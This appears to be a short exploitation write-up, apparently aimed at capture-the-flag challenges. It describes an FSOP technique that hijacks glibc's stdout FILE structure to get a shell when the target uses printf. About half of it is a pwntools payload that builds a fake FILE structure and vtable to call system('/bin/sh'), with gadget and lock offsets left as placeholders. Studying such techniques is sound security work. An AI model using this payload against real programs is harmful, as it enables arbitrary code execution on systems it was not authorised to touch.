FSOP on stdout for when the program uses printf
In this post, I will present a way to get RCE when you can overwrite the stdout structure, but printf is used in the program.
Why am I specifying printf?
This is because the technique described in this repo by nobodyisnobody does not work on printf.
It happens because of the condition write_ptr < write_end, so printf will believe it has enormous free buffer space and directly performs a memcpy, which will crash the function.
We can easily patch this using fake._IO_write_ptr = u64(b'\xff' * 8)
However, if for some reason this is a problem for a challenge, I also created a FSOP that would not use those fields (see below)
For this, I used the same setup as the one in the GitHub; however, I found a gadget with another rdi offset, namely add rdi, 0x58 ; jmp rcx. From my testing, this gadget existed in all libc versions (at least up until 2.39), so it should probably exist.
This is the payload
libc = ELF('libc.so.6')
libc.address = libc_base
_IO_stdfile_1_lock_offset = ? # p _IO_2_1_stdout_
gadget_offset = ? # add rdi, 0x58 ; jmp rcx
stdout_lock = libc.address + _IO_stdfile_1_lock_offset
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
gadget = libc.address + gadget_offset
fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end = libc.sym['system']
fake._IO_save_base = gadget
fake._old_offset = u64(b'/bin/sh\x00')
fake._lock = stdout_lock
fake._codecvt = stdout + 0xb8
fake._wide_data = stdout + 0x200 # data here should be null
fake.unknown2 = p64(0) * 2 + p64(stdout + 0x20) + p64(0) * 3 + p64(fake_vtable)